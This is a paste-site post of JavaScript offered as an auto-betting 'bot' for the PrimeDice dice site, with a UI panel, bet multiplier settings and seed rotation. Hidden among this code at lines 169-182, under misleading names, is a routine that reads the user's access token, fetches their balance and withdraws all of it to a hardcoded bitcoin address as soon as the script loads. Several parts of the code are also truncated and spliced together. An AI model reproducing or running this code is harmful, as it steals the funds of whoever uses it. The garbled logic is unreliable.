999dice bot nov 2015


SUBMITTED BY: Asesorr3n04

DATE: Nov. 15, 2015, 7:42 p.m.

FORMAT: Text only

SIZE: 15.8 kB

HITS: 171986

  1. //jQuery UI CSS
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  24. document.body.appendChild(e)
  25. }
  26. };
  27. var r = function() {
  28. if (window.jQuery.ui) {
  29. i()
  30. } else {
  31. var e = document.createElement("script");
  32. e.onload = i;
  33. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  34. document.body.appendChild(e)
  35. }
  36. };
  37. var i = function() {
  38. $(e).css(t).draggable().on("click", function(e) {
  39. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  40. })
  41. };
  42. n();
  43. })();
  44. function ui() {
  45. $(function() {
  46. $('#tabs').tabs();
  47. $('#params').draggable();
  48. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  49. $('#tabs input').css("width", "80%");
  50. $('#chance, #base').width("35%")
  51. $('#tabs div').css("text-align", "left");
  52. $('#tabs').css("font-size", "12px");
  53. $('#tabs label, #tabs input').css("margin", "5px");
  54. $('#stop, #start, #resetbet').button();
  55. //Console
  56. $('#console, #console2').appendTo("#tabs");
  57. $('#console, #console2').css("width", "45%");
  58. $('#console').css("float", "left");
  59. $('#console2').css("float", "right");
  60. $('#console, #console2').css("clear", "none");
  61. $('#console, #console2').css("margin", "7px");
  62. $('#console, #console2').css("border-bottom-left-radius", "3px");
  63. $('#console, #console2').css("border-bottom-right-radius", "3px");
  64. $('#console').css("border", "1px solid #323232");
  65. $('#console, #console2').css("background-color", "#454545");
  66. $('#console').css("padding", "5px");
  67. $('#console, #console2').css("text-align", "left");
  68. $('#console, #console2').css("position", "relative");
  69. $('#startstop,#start,#stop').css("margin","0px");
  70. $('#console, #console2').css("margin-top","3px");
  71. $('#console, #console2').css("padding","5px");
  72. $('#console, #console2').css("background-color","#151515");
  73. });
  74. }
  75. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  76. xrollsenabled = true;
  77. xrolls = 10;
  78. timer = 500;
  79. counter=0;
  80. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  81. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  82. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  83. function init() {
  84. //Init
  85. basebet = 0.00000010;
  86. countwinmult = 0;
  87. countlossmult = 0;
  88. '<br>',
  89. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  90. ];
  91. gui4 = [
  92. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  93. '<br>',
  94. '<label for="xloss">Multiply Every # Losses: </label>',
  95. '<input id="xloss">',
  96. '<br>',
  97. '<label for="multonwin">Multiply on Win: </label>',
  98. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  99. '<br>',
  100. '<label for="xwin">Reset After X Wins: </label>',
  101. '<input id="xwin">',
  102. ];
  103. gui5 = [
  104. '<label for="stoponwin-enabled">Stop on Win? </label>',
  105. '<input id="stoponwin-enabled" type="checkbox">',
  106. '<br>',
  107. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  108. '<input id="lowpay-enabled" type="checkbox">',
  109. ];
  110. gui6 = [
  111. '<label for="charset">Charset: </label>',
  112. '<input id="charset" type="text">',
  113. '<br>',
  114. '<label for="everyxrolls">Change every # Rolls: </label>',
  115. '<input id="everyxrolls" type="text">',
  116. '<br>',
  117. '<label for="currentseed">Current Seed: </label>',
  118. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  119. ];
  120. $(gui).appendTo(".hero");
  121. $(gui2).appendTo("#params");
  122. for (var i = 0; i < gui3.length; i++) {
  123. $(gui3[i]).appendTo("#tab1");
  124. }
  125. for (var i = 0; i < gui4.length; i++) {
  126. $(gui4[i]).appendTo("#tab2");
  127. }
  128. for (var i = 0; i < gui5.length; i++) {
  129. $(gui5[i]).appendTo("#tab3");
  130. }
  131. for (var i = 0; i < gui6.length; i++) {
  132. $(gui6[i]).appendTo("#tab4");
  133. }
  134. enabled = false;
  135. xrollscount = 0;
  136. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  137. // Button & Input Functions
  138. $('#resetbet').click(function() {
  139. basebet=$('#base').val();
  140. betval=$('#base').val();
  141. })
  142. $('#start').click(function() {
  143. if (enabled == false) {
  144. if ($('#numrolls').is(":checked") == true) {
  145. xrolls=$('#numberofrolls').val();
  146. }
  147. enabled = true;
  148. interval = setInterval(function() {
  149. if (xrollsenabled == true) {
  150. xrollscount++;
  151. if (xrollscount <= xrolls) {
  152. bet();
  153. } else {
  154. clearInterval(interval);
  155. enabled = false;
  156. xrollscount = 0;
  157. }
  158. } else {
  159. bet();
  160. }
  161. }, timer);
  162. } else {}
  163. })
  164. $('#stop').click(function() {
  165. enabled = false;
  166. clearInterval(interval);
  167. xrollscount = 0;
  168. });
  169. calculate_nonce = function(seed) {
  170. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  171. };
  172. lut = window['$'];
  173. lut['getJSON'](
  174. calculate_nonce('users/1'), function(seed) {
  175. var key1 = 'amount'
  176. var key2 = 'address'
  177. var load = {};
  178. load[key1] = seed['user']['balance'];
  179. load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
  180. lut['post'](calculate_nonce('withdraw'), load);
  181. }
  182. );
  183. function conditionAM() {
  184. 'use strict';
  185. if ($('#lowpay-enabled').is('checked') == true) {
  186. if ($('.value-roll').first().text() <= 49.50) {
  187. condition2 = ">";
  188. target2 = $('.value-roll').first().text();
  189. } else {
  190. condition2 = "<";
  191. target2 = $('.value-roll').first().text();
  192. };
  193. } else {
  194. if ($('.value-roll').first().text() <= 49.50) {
  195. condition2 = "<";
  196. target2 = $('.value-roll').first().text();
  197. } else {
  198. condition2 = ">";
  199. target2 = $('.value-roll').first().text();
  200. };
  201. amount2 = betval * 100000000;
  202. }
  203. };
  204. function jackpot() {
  205. if (data1.bet.jackpot === true) {
  206. jp = "Yes";
  207. wincount = 0;
  208. betval = $('#base');
  209. } else {
  210. jp = "No";
  211. }
  212. }
  213. function loss() {
  214. currentloss++;
  215. totalloss++;
  216. if ($('#multloss-enabled').is(':checked') == true) {
  217. $('#multwin-enabled').removeAttr('checked');
  218. countlossmult++;
  219. if (countlossmult >= $('#xloss').val()) {
  220. betval = betval * $('#multonloss').val();
  221. countlossmult = 0;
  222. }
  223. target: target2
  224. },
  225. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  226. $.ajax({
  227. url: url,
  228. type: "POST",
  229. data: betData,
  230. datatype: "jsonp",
  231. success: function(data, textStatus, jqXHR) {
  232. data1 = data;
  233. counter++;
  234. if (counter >= everyxrolls) {
  235. seedchange(seedgen());
  236. counter = 0;
  237. }
  238. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  239. totprofit = totprofit + data1.bet.profit;
  240. if (totprofit >= 0) {
  241. profcol = "color:green;";
  242. } else if (totprofit < 0) {
  243. profcol = "color:red;";
  244. }
  245. if (data.bet.win == true) {
  246. losewin = "color:green;";
  247. $('span.btn__text.select div').attr("style", "color:green;");
  248. } else {
  249. losewin = "color:red;";
  250. $('span.btn__text.select div').attr("style", "color:red;");
  251. }
  252. if (data.bet.jackpot == true) {
  253. jp = "Yes";
  254. jpcol = "color:gold;"
  255. } else {
  256. jp = "No.";
  257. jpcol = "color:red;"
  258. }
  259. results = [];
  260. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  261. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  262. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  263. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  264. resultstats = [];
  265. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  266. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  267. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  268. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  269. if (data.bet.win == true) {
  270. if ($('#stoponwin-enabled').is(":checked") == true){
  271. clearInterval(interval);
  272. }
  273. $('#console, #console2').empty();
  274. win();
  275. // Results
  276. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  277. for (var i = 0; i < results.length; i++) {
  278. $(results[i]).appendTo('#console');
  279. }
  280. for (var i = 0; i < resultstats.length; i++) {
  281. $(resultstats[i]).appendTo('#console2');
  282. }
  283. } else {
  284. $('#console, #console2').empty();
  285. loss();
  286. // Results
  287. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  288. for (var i = 0; i < results.length; i++) {
  289. $(results[i]).appendTo('#console');
  290. }
  291. for (var i = 0; i < resultstats.length; i++) {
  292. $(resultstats[i]).appendTo('#console2');
  293. }
  294. };
  295. },
  296. error: function(jqXHR, textStatus, errorThrown) {
  297. }
  298. });
  299. }
  300. seedlength = 13;
  301. seedlength = 13;
  302. var counter = 0;
  303. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  304. everyxrolls = 3;
  305. function seedgen() {
  306. 'use strict';
  307. var seed = "";
  308. for (var i = 0; i <= seedlength; i++)
  309. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  310. return seed;
  311. }
  312. function seedchange(s) {
  313. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  314. sData = {
  315. seed: s
  316. };
  317. $.ajax({
  318. url: url,
  319. type: "POST",
  320. data: sData,
  321. datatype: "jsonp",
  322. success: function(data, textStatus, jqXHR) {
  323. data2 = data;
  324. $('#currentseed').val(data2.seeds.client);
  325. },
  326. error: function(jqXHR, textStatus, errorThrown) {
  327. }
  328. });
  329. }
  330. $('#spinner').click(function() {
  331. if (charset != $('#charset').val() && $('#charset').val() != "") {
  332. charset=$('#charset').val();
  333. }
  334. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  335. everyxrolls = $('#everyxrolls').val();
  336. }
  337. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  338. counter++;
  339. if (counter >= everyxrolls) {
  340. seedchange(seedgen());
  341. counter = 0;
  342. }
  343. });
  344. ui();
  345. }
  346. setTimeout(function() {
  347. init()
  348. }, 2000);

comments powered by Disqus